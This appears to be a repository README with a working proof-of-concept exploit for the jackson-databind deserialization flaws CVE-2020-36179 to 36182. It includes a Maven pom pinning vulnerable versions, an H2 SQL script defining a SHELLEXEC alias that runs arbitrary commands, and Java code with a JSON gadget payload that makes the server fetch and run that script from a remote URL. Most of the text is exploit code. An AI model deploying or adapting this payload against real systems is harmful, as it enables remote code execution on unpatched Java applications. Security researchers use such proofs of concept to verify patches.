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CVE-2020-36179

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CVE-2020-36179~82 Jackson-databind SSRF&RCE

// repository documentation

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## Description
CVE-2020-36179：
FasterXML jackson-databind 2.x before 2.9.10.8 mishandles the interaction between serialization gadgets and typing, related to oadd.org.apache.commons.dbcp.cpdsadapter.DriverAdapterCPDS.

CVE-2020-36180：
FasterXML jackson-databind 2.x before 2.9.10.8 mishandles the interaction between serialization gadgets and typing, related to org.apache.commons.dbcp2.cpdsadapter.DriverAdapterCPDS.

CVE-2020-36181：
FasterXML jackson-databind 2.x before 2.9.10.8 mishandles the interaction between serialization gadgets and typing, related to org.apache.tomcat.dbcp.dbcp.cpdsadapter.DriverAdapterCPDS.

CVE-2020-36182：
FasterXML jackson-databind 2.x before 2.9.10.8 mishandles the interaction between serialization gadgets and typing, related to org.apache.tomcat.dbcp.dbcp2.cpdsadapter.DriverAdapterCPDS.

## How to RCE
Because the above four CVE security vulnerabilities are triggered in a similar way, here we only take CVE-2020-36180 as an example:

pom.xml
```
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

<groupId>com.jacksonTest</groupId>
    <artifactId>jacksonTest</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-databind</artifactId>
            <version>2.9.10.7</version>
        </dependency>
        
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-dbcp2</artifactId>
            <version>2.8.0</version>
        </dependency>
        
        <dependency>
            <groupId>com.h2database</groupId>
            <artifactId>h2</artifactId>
            <version>1.4.199</version>
        </dependency>

<dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-nop</artifactId>
            <version>1.7.2</version>
        </dependency>
        
        <dependency>
            <groupId>javax.transaction</groupId>
            <artifactId>jta</artifactId>
            <version>1.1</version>
        </dependency>
    </dependencies>
</project>
```

exec.sql:
```
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
        return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('calc.exe')
```

poc.java
```
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;

public class POC {
    public static void main(String[] args) throws Exception {
        String payload = "[\"org.apache.commons.dbcp2.cpdsadapter.DriverAdapterCPDS\",{\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:3333/exec.sql'\"}]";
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
        Object obj = mapper.readValue(payload, Object.class);
        mapper.writeValueAsString(obj);
    }
}
```

result:

![result](https://raw.githubusercontent.com/Al1ex/CVE-2020-36179/main/img/result.jpg)

Gadget:

```
DriverAdapterCPDS
    ->seturl
        ->getPooledConnection
            ->DirverManager.getConnection(this.url,username,pass)
```

CVE-2020-36179

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